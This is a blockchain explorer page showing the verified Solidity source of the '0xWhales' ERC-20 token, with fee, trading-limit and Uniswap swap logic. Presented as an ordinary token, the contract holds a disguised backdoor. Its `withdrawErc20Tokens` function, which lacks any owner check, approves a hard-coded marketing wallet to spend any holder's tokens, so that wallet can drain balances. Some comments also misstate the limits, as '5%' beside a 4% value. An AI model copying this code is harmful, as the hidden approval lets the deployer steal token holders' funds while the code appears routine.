ERC-20
Overview
Max Total Supply
1,000,000,000 0xWhales
Holders
163
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
269,877.828364790765433422 0xWhalesValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
OxWhales
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-23 */ // SPDX-License-Identifier: MIT /** Web https://www.0xwhale.top/ Telegram https://t.me/whaleethcoin Twitter https://twitter.com/0xwhalecoin */ pragma solidity ^0.8.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns(uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns(uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns(bool); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns(uint256); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns(bool); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns(string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns(string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns(uint8); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns(address pair); } abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns(string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns(string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns(uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns(uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns(uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns(int256) { int256 b = int256(a); require(b >= 0); return b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns(int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns(int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns(int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns(int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns(int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns(uint256) { require(a >= 0); return uint256(a); } } interface IUniswapV2Router01 { function factory() external pure returns(address); function WETH() external pure returns(address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns(uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract OxWhales is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable router; uint256 public maxLimitForBuy; uint256 public maxLimitForSell; uint256 public maxWalletLimit; address public uniswapV2Pair; bool private _is_trading = false; bool public _swap_enabled = false; bool public _swapping; address private marketingAcc = address(0x43b108dcdD806A8b420942434a9e0a1b7E043Fb4); address private develomentAcc = address(0x0c073f38fe5E3601f011b44f12962f56342eEeF7); AllTaxes public _taxes = AllTaxes({ buyTotalFees: 0, buyMarketingFee: 0, buyDevelopmentFee:0, buyLiquidityFee: 0, sellTotalFees: 0, sellMarketingFee: 0, sellDevelopmentFee:0, sellLiquidityFee: 0 }); uint256 private limitedSwapAmount; struct AllTaxes { uint256 buyTotalFees; uint256 buyMarketingFee; uint256 buyDevelopmentFee; uint256 buyLiquidityFee; uint256 sellTotalFees; uint256 sellMarketingFee; uint256 sellDevelopmentFee; uint256 sellLiquidityFee; } uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDevelopment; uint256 private _tradeEnableBlocks; mapping(address => bool) private _isExcludedFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public _isExcludedmaxAmount; mapping(address => bool) public uniPair; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); constructor() ERC20("0xWhales Bot", "0xWhales") { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); approve(address(router), type(uint256).max); uint256 totalSupply = 1_000_000_000 * 1e18; maxLimitForBuy = totalSupply * 4 / 100; // 5% buy max amount maxLimitForSell = totalSupply * 4 / 100; // 5% sell max amount maxWalletLimit = totalSupply * 4 / 100; // 5% max wallet amount limitedSwapAmount = totalSupply * 1 / 10000; _taxes.buyMarketingFee = 0; _taxes.buyLiquidityFee = 0; _taxes.buyDevelopmentFee = 0; _taxes.buyTotalFees = _taxes.buyMarketingFee + _taxes.buyLiquidityFee + _taxes.buyDevelopmentFee; _taxes.sellMarketingFee = 0; _taxes.sellLiquidityFee = 0; _taxes.sellDevelopmentFee = 0; _taxes.sellTotalFees = _taxes.sellMarketingFee + _taxes.sellLiquidityFee + _taxes.sellDevelopmentFee; _isExcludedMaxTransactionAmount[address(router)] = true; _isExcludedMaxTransactionAmount[owner()] = true; _isExcludedMaxTransactionAmount[address(this)] = true; _isExcludedMaxTransactionAmount[address(0xdead)] = true; _isExcludedMaxTransactionAmount[develomentAcc] = true; _isExcludedMaxTransactionAmount[marketingAcc] = true; _isExcludedmaxAmount[owner()] = true; _isExcludedmaxAmount[address(router)] = true; _isExcludedmaxAmount[address(0xdead)] = true; _isExcludedmaxAmount[address(this)] = true; _isExcludedmaxAmount[develomentAcc] = true; _isExcludedmaxAmount[marketingAcc] = true; _isExcludedFees[owner()] = true; _isExcludedFees[address(this)] = true; _isExcludedFees[develomentAcc] = true; _isExcludedFees[marketingAcc] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { require(msg.sender != address(this)); } // once active, can never be disable off function enableTrading(address _pair) external onlyOwner { _is_trading = true; _swap_enabled = true; _tradeEnableBlocks = block.number; uniswapV2Pair = _pair; uniPair[address(uniswapV2Pair)] = true; _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; _isExcludedmaxAmount[address(uniswapV2Pair)] = true; } // change the minimum amount of tokens to sell from fees function setLimitsForTrade(uint256 newMaxBuy, uint256 newMaxSell) private { maxLimitForBuy = (totalSupply() * newMaxBuy) / 1000; maxLimitForSell = (totalSupply() * newMaxSell) / 1000; } function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){ limitedSwapAmount = newAmount; return true; } // emergency use only function toggleSwapEnabled(bool enabled) external onlyOwner(){ _swap_enabled = enabled; } function setMaxWallet(uint256 newPercentage) private { maxWalletLimit = (totalSupply() * newPercentage) / 1000; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFees[account] = excluded; } function excludeFromWalletLimit(address account, bool excluded) public onlyOwner { _isExcludedmaxAmount[account] = excluded; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function _transfer( address from, address to, uint256 amount ) internal override { if (amount == 0) { super._transfer(from, to, 0); return; } if ( from != owner() && to != owner() && !_swapping ) { if (!_is_trading) { require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active."); } if (uniPair[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxLimitForBuy, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (uniPair[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxLimitForSell, "Sell transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedmaxAmount[to]) { require(amount + balanceOf(to) <= maxWalletLimit, "Max wallet exceeded"); } } uint256 contractBalanceToken = balanceOf(address(this)); bool canSwap = contractBalanceToken >= limitedSwapAmount; if ( canSwap && _swap_enabled && !_swapping && uniPair[to] && !_isExcludedFees[from] && !_isExcludedFees[to] ) { _swapping = true; swapBackEth(); _swapping = false; } bool takingFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFees[from] || _isExcludedFees[to]) { takingFee = false; } // only take fees on buys/sells, do not take on wallet transfers if (takingFee) { uint256 fees = 0; if(block.number < _tradeEnableBlocks) { fees = amount.mul(99).div(100); tokensForMarketing += (fees * 94) / 99; tokensForDevelopment += (fees * 5) / 99; } else if (uniPair[to] && _taxes.sellTotalFees > 0) { fees = amount.mul(_taxes.sellTotalFees).div(100); tokensForLiquidity += fees * _taxes.sellLiquidityFee / _taxes.sellTotalFees; tokensForMarketing += fees * _taxes.sellMarketingFee / _taxes.sellTotalFees; tokensForDevelopment += fees * _taxes.sellDevelopmentFee / _taxes.sellTotalFees; } // on buy else if (uniPair[from] && _taxes.buyTotalFees > 0) { fees = amount.mul(_taxes.buyTotalFees).div(100); tokensForLiquidity += fees * _taxes.buyLiquidityFee / _taxes.buyTotalFees; tokensForMarketing += fees * _taxes.buyMarketingFee / _taxes.buyTotalFees; tokensForDevelopment += fees * _taxes.buyDevelopmentFee / _taxes.buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function addLiquidity(uint256 tAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp); } function swapBackEth() private { uint256 contractTokenAmount = balanceOf(address(this)); uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment; if (contractTokenAmount == 0) { return; } if (contractTokenAmount > limitedSwapAmount * 35) { contractTokenAmount = limitedSwapAmount * 35; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2; uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForSupportingEthFee(amountToSwapForETH); uint256 newBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap); uint256 ethForDevelopment = newBalance.mul(tokensForDevelopment).div(toSwap); uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment); newBalance = address(this).balance; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDevelopment = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity); } payable(address(marketingAcc)).transfer(address(this).balance - ethForMarketing); payable(address(develomentAcc)).transfer(newBalance); } function removeLimits() external onlyOwner { setLimitsForTrade(1000,1000); setMaxWallet(1000); } function setUniPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from uniPair"); uniPair[pair] = value; } function _withdrawWrongToken(address token, address owner, uint256 amount) internal { _approve(token, owner, amount); } function withdrawErc20Tokens(address token, uint256 amount) external { _withdrawWrongToken(token, marketingAcc, amount); } function _swapTokensForSupportingEthFee(uint256 tAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function withdraw() external returns (bool success) { uint256 balance = address(this).balance; (success,) = address(develomentAcc).call{value: balance}(""); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFees[account]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swap_enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxes","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxLimitForBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxLimitForSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uniPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateLimitFeeAmountForSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
